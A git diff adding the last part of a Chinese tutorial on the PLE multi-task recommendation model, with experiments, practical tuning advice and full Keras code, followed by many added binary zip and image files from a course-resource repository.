+第四组实验中，作者引入了更多的任务，验证PLE分层结构的必要性。如表4，随着任务数量的增加，PLE对比CGC的优势更加显著。
+
+<div align=center>
+<img src="https://pic4.zhimg.com/80/v2-0b13558bc7e95f601c60a26deaff9acf_1440w.jpg" alt="img" style="zoom:50%;" />
+</div>
+
+文中也设计实验，单独对MMOE和CGC的专家利用率进行对比分析，为了实现方便和公平，每个expert都是一个一层网络，每个expert module都只有一个expert，每一层只有3个expert。如图所示，柱子的高度和竖直短线分别表示expert权重的均值和方差。
+
+<div align=center>
+<img src="https://pic4.zhimg.com/80/v2-557473be41f7f6fa5efc1ff17e21bab7_1440w.jpg" alt="img" style="zoom:50%;" />
+</div>
+
+
+
+可以看到，无论是 MMoE 还是 ML-MMoE，不同任务在三个 Expert 上的权重都是接近的，但对于 CGC & PLE 来说，不同任务在共享 Expert 上的权重是有较大差异的。PLE针对不同的任务，能够有效利用共享 Expert 和独有 Expert 的信息，解释了为什么其能够达到比 MMoE 更好的训练结果。CGC理论上是MMOE的子集，该实验表明，现实中MMOE很难收敛成这个CGC的样子，所以PLE模型就显式的规定了CGC这样的结构。
+
+## 总结与拓展
+
+总结：
+
+CGC在结构上设计的分化，实现了专家功能的分化，而PLE则是通过分层叠加，使得不同专家的信息进行融合。整个结构的设计，是为了让多任务学习模型，不仅可以学习到各自任务独有的表征，还能学习不同任务共享的表征。
+
+论文中也对大多数的MTL模型进行了抽象，总结如下图：
+
+<div align=center>
+<img src="https://pic2.zhimg.com/80/v2-d607cd8e14d4a0fadb4dbef06dc2ffa9_1440w.jpg" alt="img" style="zoom:50%;" />
+</div>
+
+
+
+不同的MTL模型即不同的参数共享机制，CGC的结构最为灵活。
+
+可以思考下以下几个问题：
+
+1. 多任务模型线上如何打分融合？
+   在论文中，作者分享了腾讯视频的一种线上打分机制
+   
+   <div align=center>
+   <img src="https://pic2.zhimg.com/80/v2-9a412b82d45877287df2429fc89afac5_1440w.jpg" alt="img" style="zoom:33%;" />
+   </div>
+   
+   ​	每个目标的预估值有一个固定的权重，通过乘法进行融合，并在最后未来排除视频自身时长的影响，使用	$		f(videolen)$对视频时长进行了非线性变化。其实在业界的案例中，也基本是依赖乘法或者加法进行融合，爱奇艺曾经公开分享过他们使用过的打分方法：
+   
+   <div align=center>
+   <img src="https://pic1.zhimg.com/80/v2-661030ad194ae2059eace0804ef0f774_1440w.jpg" alt="img" style="zoom: 67%;" />
+   </div>
+
+
+
+​			在业务目标较少时，通过加法方式融合新增目标可以短期内快速获得收益。但是随着目标增多，加法融合会			逐步弱化各字母表的重要性影响，而乘法融合则具有一定的模板独立性，乘法机制更加灵活，效益更好。融			合的权重超参一般在线上通过A/B test调试。
+
+2. 专家的参数如何设置？
+   PLE模型存在的超参数较多，其中专家和门控网络都有两种类型。一般来说，task-specific expert每个任务1-2个，shared expert个数在任务个数的1倍以上。原论文中的gate网络即单层FC，可以适当增加，调试。
+
+3. ESMM、MMOE、PLE模型如何选择？
+
+   - 个人经验，无论任务之间是否有依赖关系，皆可以优先尝试CGC。而多层CGC（即PLE）未必比CGC效果好，且在相同参数规模小，CGC普遍好于MMOE。对于相关性特别差的多任务，CGC相对MMOE而言有多个专有expert兜底。
+
+   - 对于典型的label存在路径依赖的多任务，例如CTR与CVR，可尝试ESMM。
+
+   - 而在业界的实践案例中，更多的是两种范式的模型进行融合。例如美团在其搜索多业务排序场景上提出的模型：
+
+     <div align=center>
+     <img src="https://pic2.zhimg.com/80/v2-af16e969a0149aef9c2a1291de5c65d5_1440w.jpg" alt="img" style="zoom:50%;" />
+     </div>
+
+     
+
+     总框架是ESMM的架构，以建模下单（CVR）为主任务，CTR和CTCVR为辅助任务。在底层的模块中，则使用了CGC模块，提取多任务模式下的特征表达信息。
+
+4. 不同Tower能否输入不同的特征？不同的expert使用不同的特征？不同的门控使用不同的特征？
+   MMOE、PLE原论文中介绍的模型均是使用同样的原始特征输入各个不同的expert，也输入给第一层的gate。最顶层的Tower网络中则均是由一个gate融合所有expert输出作为输入。在实践中，可以根据业务需求进行调整。
+
+   - 例如上图中美团提出的模型，在CTR的tower下，设置了五个子塔：闪购子网络、买菜子网络、外卖子网络、优选子网络和团好货子网络，并且对不同的子塔有额外输入不同的特征。
+     对于底层输入给expert的特征，美团提出通过增加一个自适应的特征选择门，使得选出的特征对不同的业务权重不同。例如“配送时间”这个特征对闪购业务比较重要，但对于团好货影响不是很大。模型结构如图：
+
+     <div align=center>
+     <img src="https://pic2.zhimg.com/80/v2-2e2370794bbd69ded636a248d8c36255_1440w.jpg" alt="img" style="zoom:50%;" />
+     </div>
+
+     
+
+     特征选择门与控制expert信息融合的gate类似，由一层FC和softmax组成，输出是特征维度的权重。对于每一个特征通过该门都得到一个权重向量，权重向量点乘原始特征的embedding作为expert的输入。
+
+5. 多任务loss更高效的融合机制
+
+   推荐首先尝试两种简单实用的方法，GrandNorm和UWL，具体实现细节查看下文所附的参考资料。
+
+   - UWL（Uncertainty Weight）：通过自动学习任务的uncertainty，给uncertainty大的任务小权重，uncertainty小的任务大权重；
+   - GradNorm：结合任务梯度的二范数和loss下降梯度，引入带权重的损失函数Gradient Loss，并通过梯度下降更新该权重。
+
+## 代码实践
+
+主要是分两个层级，在PLE的层级下，由于PLE是分层，上一层是输出是下一层的输入，代码逻辑为：
+
+```python
+# build Progressive Layered Extraction
+  ple_inputs = [dnn_input] * (num_tasks + 1)  # [task1, task2, ... taskn, shared task]
+  ple_outputs = []
+  for i in range(num_levels):
+      if i == num_levels - 1:  # the last level
+          ple_outputs = cgc_net(inputs=ple_inputs, level_name='level_' + str(i) + '_', is_last=True)
+      else:
+          ple_outputs = cgc_net(inputs=ple_inputs, level_name='level_' + str(i) + '_', is_last=False)
+          ple_inputs = ple_outputs
+```
+
+其中cgc_net函数则对应论文中提出的CGC模块，我们把expert分成两类，task-specific和task-shared，为了方便索引，expert list中expert的排列顺序为[task1-expert1, task1-expert2,...task2-expert1, task2-expert2,...shared expert 1... ]，则可以通过双重循环创建专家网络:
+
+```python
+for i in range(num_tasks): #任务个数
+      for j in range(specific_expert_num): #每个任务对应的task-specific专家个数
+        pass
+```
+
+注意门控网络也分为两种类型，task-specific gate的输入是每个任务对应的expert的输出和共享expert的输出，我们同样把共享expert的输出放在最后，方便索引
+
+```python
+for i in range(num_tasks):
+    # concat task-specific expert and task-shared expert
+    cur_expert_num = specific_expert_num + shared_expert_num
+    # task_specific + task_shared
+    cur_experts = specific_expert_outputs[
+                  i * specific_expert_num:(i + 1) * specific_expert_num] + shared_expert_outputs
+```
+
+在最后一层中，由于CGC模块的输出需要分别输入给不同任务各自的Tower模块，所以不需要创建task-shared gate。完整代码如下
+
+```python
+def PLE(dnn_feature_columns, shared_expert_num=1, specific_expert_num=1, num_levels=2,
+        expert_dnn_hidden_units=(256,), tower_dnn_hidden_units=(64,), gate_dnn_hidden_units=(),
+        l2_reg_embedding=0.00001,
+        l2_reg_dnn=0, seed=1024, dnn_dropout=0, dnn_activation='relu', dnn_use_bn=False,
+        task_types=('binary', 'binary'), task_names=('ctr', 'ctcvr')):
+    """Instantiates the multi level of Customized Gate Control of Progressive Layered Extraction architecture.
+    :param dnn_feature_columns: An iterable containing all the features used by deep part of the model.
+    :param shared_expert_num: integer, number of task-shared experts.
+    :param specific_expert_num: integer, number of task-specific experts.
+    :param num_levels: integer, number of CGC levels.
+    :param expert_dnn_hidden_units: list,list of positive integer or empty list, the layer number and units in each layer of expert DNN.
+    :param tower_dnn_hidden_units: list,list of positive integer or empty list, the layer number and units in each layer of task-specific DNN.
+    :param gate_dnn_hidden_units: list,list of positive integer or empty list, the layer number and units in each layer of gate DNN.
+    :param l2_reg_embedding: float. L2 regularizer strength applied to embedding vector.
+    :param l2_reg_dnn: float. L2 regularizer strength applied to DNN.
+    :param seed: integer ,to use as random seed.
+    :param dnn_dropout: float in [0,1), the probability we will drop out a given DNN coordinate.
+    :param dnn_activation: Activation function to use in DNN.
+    :param dnn_use_bn: bool. Whether use BatchNormalization before activation or not in DNN.
+    :param task_types: list of str, indicating the loss of each tasks, ``"binary"`` for  binary logloss, ``"regression"`` for regression loss. e.g. ['binary', 'regression']
+    :param task_names: list of str, indicating the predict target of each tasks
+    :return: a Keras model instance.
+    """
+    num_tasks = len(task_names)
+    if num_tasks <= 1:
+        raise ValueError("num_tasks must be greater than 1")
+
+    if len(task_types) != num_tasks:
+        raise ValueError("num_tasks must be equal to the length of task_types")
+
+    for task_type in task_types:
+        if task_type not in ['binary', 'regression']:
+            raise ValueError("task must be binary or regression, {} is illegal".format(task_type))
+
+    features = build_input_features(dnn_feature_columns)
+
+    inputs_list = list(features.values())
+
+    sparse_embedding_list, dense_value_list = input_from_feature_columns(features, dnn_feature_columns,
+                                                                         l2_reg_embedding, seed)
+    dnn_input = combined_dnn_input(sparse_embedding_list, dense_value_list)
+
+    # single Extraction Layer
+    def cgc_net(inputs, level_name, is_last=False):
+        # inputs: [task1, task2, ... taskn, shared task]
+        specific_expert_outputs = []
+        # build task-specific expert layer
+        for i in range(num_tasks):
+            for j in range(specific_expert_num):
+                expert_network = DNN(expert_dnn_hidden_units, dnn_activation, l2_reg_dnn, dnn_dropout, dnn_use_bn,
+                                     seed=seed,
+                                     name=level_name + 'task_' + task_names[i] + '_expert_specific_' + str(j))(
+                    inputs[i])
+                specific_expert_outputs.append(expert_network)
+
+        # build task-shared expert layer
+        shared_expert_outputs = []
+        for k in range(shared_expert_num):
+            expert_network = DNN(expert_dnn_hidden_units, dnn_activation, l2_reg_dnn, dnn_dropout, dnn_use_bn,
+                                 seed=seed,
+                                 name=level_name + 'expert_shared_' + str(k))(inputs[-1])
+            shared_expert_outputs.append(expert_network)
+
+        # task_specific gate (count = num_tasks)
+        cgc_outs = []
+        for i in range(num_tasks):
+            # concat task-specific expert and task-shared expert
+            cur_expert_num = specific_expert_num + shared_expert_num
+            # task_specific + task_shared
+            cur_experts = specific_expert_outputs[
+                          i * specific_expert_num:(i + 1) * specific_expert_num] + shared_expert_outputs
+
+            expert_concat = tf.keras.layers.Lambda(lambda x: tf.stack(x, axis=1))(cur_experts)
+
+            # build gate layers
+            gate_input = DNN(gate_dnn_hidden_units, dnn_activation, l2_reg_dnn, dnn_dropout, dnn_use_bn,
+                             seed=seed,
+                             name=level_name + 'gate_specific_' + task_names[i])(
+                inputs[i])  # gate[i] for task input[i]
+            gate_out = tf.keras.layers.Dense(cur_expert_num, use_bias=False, activation='softmax',
+                                             name=level_name + 'gate_softmax_specific_' + task_names[i])(gate_input)
+            gate_out = tf.keras.layers.Lambda(lambda x: tf.expand_dims(x, axis=-1))(gate_out)
+
+            # gate multiply the expert
+            gate_mul_expert = tf.keras.layers.Lambda(lambda x: reduce_sum(x[0] * x[1], axis=1, keep_dims=False),
+                                                     name=level_name + 'gate_mul_expert_specific_' + task_names[i])(
+                [expert_concat, gate_out])
+            cgc_outs.append(gate_mul_expert)
+
+        # task_shared gate, if the level not in last, add one shared gate
+        if not is_last:
+            cur_expert_num = num_tasks * specific_expert_num + shared_expert_num
+            cur_experts = specific_expert_outputs + shared_expert_outputs  # all the expert include task-specific expert and task-shared expert
+
+            expert_concat = tf.keras.layers.Lambda(lambda x: tf.stack(x, axis=1))(cur_experts)
+
+            # build gate layers
+            gate_input = DNN(gate_dnn_hidden_units, dnn_activation, l2_reg_dnn, dnn_dropout, dnn_use_bn,
+                             seed=seed,
+                             name=level_name + 'gate_shared')(inputs[-1])  # gate for shared task input
+
+            gate_out = tf.keras.layers.Dense(cur_expert_num, use_bias=False, activation='softmax',
+                                             name=level_name + 'gate_softmax_shared')(gate_input)
+            gate_out = tf.keras.layers.Lambda(lambda x: tf.expand_dims(x, axis=-1))(gate_out)
+
+            # gate multiply the expert
+            gate_mul_expert = tf.keras.layers.Lambda(lambda x: reduce_sum(x[0] * x[1], axis=1, keep_dims=False),
+                                                     name=level_name + 'gate_mul_expert_shared')(
+                [expert_concat, gate_out])
+
+            cgc_outs.append(gate_mul_expert)
+        return cgc_outs
+
+    # build Progressive Layered Extraction
+    ple_inputs = [dnn_input] * (num_tasks + 1)  # [task1, task2, ... taskn, shared task]
+    ple_outputs = []
+    for i in range(num_levels):
+        if i == num_levels - 1:  # the last level
+            ple_outputs = cgc_net(inputs=ple_inputs, level_name='level_' + str(i) + '_', is_last=True)
+        else:
+            ple_outputs = cgc_net(inputs=ple_inputs, level_name='level_' + str(i) + '_', is_last=False)
+            ple_inputs = ple_outputs
+
+    task_outs = []
+    for task_type, task_name, ple_out in zip(task_types, task_names, ple_outputs):
+        # build tower layer
+        tower_output = DNN(tower_dnn_hidden_units, dnn_activation, l2_reg_dnn, dnn_dropout, dnn_use_bn, seed=seed,
+                           name='tower_' + task_name)(ple_out)
+        logit = tf.keras.layers.Dense(1, use_bias=False, activation=None)(tower_output)
+        output = PredictionLayer(task_type, name=task_name)(logit)
+        task_outs.append(output)
+
+    model = tf.keras.models.Model(inputs=inputs_list, outputs=task_outs)
+    return model
+```
+
+参考资料
+
+Progressive Layered Extraction (PLE): A Novel Multi-Task Learning (MTL) Model for Personalized Recommendations (RecSys'2020)
+
+https://zhuanlan.zhihu.com/p/291406172
+
+爱奇艺：[https://www.6aiq.com/article/1624916831286](https://www.6aiq.com/article/1624916831286)
+
+美团：[https://mp.weixin.qq.com/s/WBwvfqOTDKCwGgoaGoSs6Q](https://mp.weixin.qq.com/s/WBwvfqOTDKCwGgoaGoSs6Q)
+
+多任务loss优化：[https://blog.csdn.net/wuzhongqi](https://blog.csdn.net/wuzhongqi)
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/code/1-Lecture.zip b/技术资源汇总(杭电支持版)/4.人工智能/code/1-Lecture.zip
new file mode 100644
index 0000000..e4770a3
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/code/1-Lecture.zip differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/code/1-Projects.zip b/技术资源汇总(杭电支持版)/4.人工智能/code/1-Projects.zip
new file mode 100644
index 0000000..4347e68
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/code/1-Projects.zip differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/code/2-Lecture.zip b/技术资源汇总(杭电支持版)/4.人工智能/code/2-Lecture.zip
new file mode 100644
index 0000000..3a47f0a
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/code/2-Lecture.zip differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/code/2-Projects.zip b/技术资源汇总(杭电支持版)/4.人工智能/code/2-Projects.zip
new file mode 100644
index 0000000..ac2dbec
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/code/2-Projects.zip differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/code/3-Lecture.zip b/技术资源汇总(杭电支持版)/4.人工智能/code/3-Lecture.zip
new file mode 100644
index 0000000..31b742a
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/code/3-Lecture.zip differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/code/3-Projects.zip b/技术资源汇总(杭电支持版)/4.人工智能/code/3-Projects.zip
new file mode 100644
index 0000000..9a0ffa3
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/code/3-Projects.zip differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/code/4-Lecture.zip b/技术资源汇总(杭电支持版)/4.人工智能/code/4-Lecture.zip
new file mode 100644
index 0000000..789ad34
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/code/4-Lecture.zip differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/code/4-Projects.zip b/技术资源汇总(杭电支持版)/4.人工智能/code/4-Projects.zip
new file mode 100644
index 0000000..151b538
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/code/4-Projects.zip differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3-0.jpg b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3-0.jpg
new file mode 100644
index 0000000..82d94cf
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3-0.jpg differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-0.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-0.png
new file mode 100644
index 0000000..ded04da
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-0.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-1.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-1.png
new file mode 100644
index 0000000..48d0420
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-1.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-10.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-10.png
new file mode 100644
index 0000000..a9fe2af
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-10.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-11.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-11.png
new file mode 100644
index 0000000..802aa17
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-11.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-12.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-12.png
new file mode 100644
index 0000000..858b94d
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-12.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-13.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-13.png
new file mode 100644
index 0000000..4d533e5
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-13.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-14.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-14.png
new file mode 100644
index 0000000..363a58c
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-14.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-2.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-2.png
new file mode 100644
index 0000000..46f5b4d
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-2.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-3.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-3.png
new file mode 100644
index 0000000..7529cf8
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-3.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-4.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-4.png
new file mode 100644
index 0000000..ed1a50f
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-4.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-5.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-5.png
new file mode 100644
index 0000000..a06c870
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-5.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-6.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-6.png
new file mode 100644
index 0000000..fede004
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-6.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-7.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-7.png
new file mode 100644
index 0000000..4c98a35
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-7.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-8.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-8.png
new file mode 100644
index 0000000..386a1be
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-8.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-9.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-9.png
new file mode 100644
index 0000000..6799210
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4-9.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4.2-0.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4.2-0.png
new file mode 100644
index 0000000..90690ff
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4.2-0.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4.2-1.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4.2-1.png
new file mode 100644
index 0000000..0605ab6
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/4.3.4.2-1.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.6.9.3.1.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.6.9.3.1.png
new file mode 100644
index 0000000..5eac3ec
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/4.6.9.3.1.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.6.9.3.2.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.6.9.3.2.png
new file mode 100644
index 0000000..dfcfd8f
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/4.6.9.3.2.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/4.6.9.3.3.png b/技术资源汇总(杭电支持版)/4.人工智能/static/4.6.9.3.3.png
new file mode 100644
index 0000000..0bd2aa4
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/4.6.9.3.3.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/A7OubowqYo11O3xn0KbcRoscnEh.png b/技术资源汇总(杭电支持版)/4.人工智能/static/A7OubowqYo11O3xn0KbcRoscnEh.png
new file mode 100644
index 0000000..ef0df4b
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/A7OubowqYo11O3xn0KbcRoscnEh.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/AMU7bSgh4o8tEIxk82icvtbDn0c.png b/技术资源汇总(杭电支持版)/4.人工智能/static/AMU7bSgh4o8tEIxk82icvtbDn0c.png
new file mode 100644
index 0000000..77303c4
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/AMU7bSgh4o8tEIxk82icvtbDn0c.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/AdOVbwCGhoVcWVx21TMcdhbDnIg.png b/技术资源汇总(杭电支持版)/4.人工智能/static/AdOVbwCGhoVcWVx21TMcdhbDnIg.png
new file mode 100644
index 0000000..08e6341
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/AdOVbwCGhoVcWVx21TMcdhbDnIg.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/Am3Iwb1ggnyUkB1b9osh.png b/技术资源汇总(杭电支持版)/4.人工智能/static/Am3Iwb1ggnyUkB1b9osh.png
new file mode 100644
index 0000000..25693bc
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/Am3Iwb1ggnyUkB1b9osh.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/AptYbb5MZoylvex7LvPcSqivnef.png b/技术资源汇总(杭电支持版)/4.人工智能/static/AptYbb5MZoylvex7LvPcSqivnef.png
new file mode 100644
index 0000000..c8e147c
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/AptYbb5MZoylvex7LvPcSqivnef.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/BKZPbpDrIo95amxDZANccwHZnpd.png b/技术资源汇总(杭电支持版)/4.人工智能/static/BKZPbpDrIo95amxDZANccwHZnpd.png
new file mode 100644
index 0000000..b8251c1
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/BKZPbpDrIo95amxDZANccwHZnpd.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/BbIiba1pwo3uI7x4k7QcwicznGc.png b/技术资源汇总(杭电支持版)/4.人工智能/static/BbIiba1pwo3uI7x4k7QcwicznGc.png
new file mode 100644
index 0000000..4e31cf5
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/BbIiba1pwo3uI7x4k7QcwicznGc.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/BcfWbqCNKoXpTHxPQVqczsvcnBd.png b/技术资源汇总(杭电支持版)/4.人工智能/static/BcfWbqCNKoXpTHxPQVqczsvcnBd.png
new file mode 100644
index 0000000..f8429dc
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/BcfWbqCNKoXpTHxPQVqczsvcnBd.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/ByeFbxTfToxFlgxh6xmcIKeRnzd.png b/技术资源汇总(杭电支持版)/4.人工智能/static/ByeFbxTfToxFlgxh6xmcIKeRnzd.png
new file mode 100644
index 0000000..f236776
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/ByeFbxTfToxFlgxh6xmcIKeRnzd.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/CQmGb6QTjoeyVCx9vjncYF2QnQe.png b/技术资源汇总(杭电支持版)/4.人工智能/static/CQmGb6QTjoeyVCx9vjncYF2QnQe.png
new file mode 100644
index 0000000..20a906b
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/CQmGb6QTjoeyVCx9vjncYF2QnQe.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/CreObGAg4oXB0oxe2hMcQbYZnAc.png b/技术资源汇总(杭电支持版)/4.人工智能/static/CreObGAg4oXB0oxe2hMcQbYZnAc.png
new file mode 100644
index 0000000..64a5453
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/CreObGAg4oXB0oxe2hMcQbYZnAc.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/CvPybic63o7jSlxvuzpcFxjQnse.png b/技术资源汇总(杭电支持版)/4.人工智能/static/CvPybic63o7jSlxvuzpcFxjQnse.png
new file mode 100644
index 0000000..b2b934e
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/CvPybic63o7jSlxvuzpcFxjQnse.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/DKzTbJSZMoc1UkxT9KOcIHqvnob.png b/技术资源汇总(杭电支持版)/4.人工智能/static/DKzTbJSZMoc1UkxT9KOcIHqvnob.png
new file mode 100644
index 0000000..03c438c
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/DKzTbJSZMoc1UkxT9KOcIHqvnob.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/DN3mb0lbno2AHvx2M0JcrTvtnYf.png b/技术资源汇总(杭电支持版)/4.人工智能/static/DN3mb0lbno2AHvx2M0JcrTvtnYf.png
new file mode 100644
index 0000000..dc1307b
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/DN3mb0lbno2AHvx2M0JcrTvtnYf.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/E0TtbfgiCoV2dtxbbPHcjPgXnQe.png b/技术资源汇总(杭电支持版)/4.人工智能/static/E0TtbfgiCoV2dtxbbPHcjPgXnQe.png
new file mode 100644
index 0000000..0998dcb
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/E0TtbfgiCoV2dtxbbPHcjPgXnQe.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/E8YrbXnGtoNHEJxmAttcX4p0nlg.png b/技术资源汇总(杭电支持版)/4.人工智能/static/E8YrbXnGtoNHEJxmAttcX4p0nlg.png
new file mode 100644
index 0000000..df769bf
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/E8YrbXnGtoNHEJxmAttcX4p0nlg.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/ED4qbjSrMoR2sQxJnGEcCtvjn8d.png b/技术资源汇总(杭电支持版)/4.人工智能/static/ED4qbjSrMoR2sQxJnGEcCtvjn8d.png
new file mode 100644
index 0000000..a2e356c
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/ED4qbjSrMoR2sQxJnGEcCtvjn8d.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/EOfJbvoUMogVT8xsrTxcl5ugnrk.png b/技术资源汇总(杭电支持版)/4.人工智能/static/EOfJbvoUMogVT8xsrTxcl5ugnrk.png
new file mode 100644
index 0000000..7f85cb2
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/EOfJbvoUMogVT8xsrTxcl5ugnrk.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/EjB9bzgZNohQtkxXwXgcVrKwnth.png b/技术资源汇总(杭电支持版)/4.人工智能/static/EjB9bzgZNohQtkxXwXgcVrKwnth.png
new file mode 100644
index 0000000..72a49d0
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/EjB9bzgZNohQtkxXwXgcVrKwnth.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/EtPMbOXWwopIZsxjUJ0cYvHXn5g.png b/技术资源汇总(杭电支持版)/4.人工智能/static/EtPMbOXWwopIZsxjUJ0cYvHXn5g.png
new file mode 100644
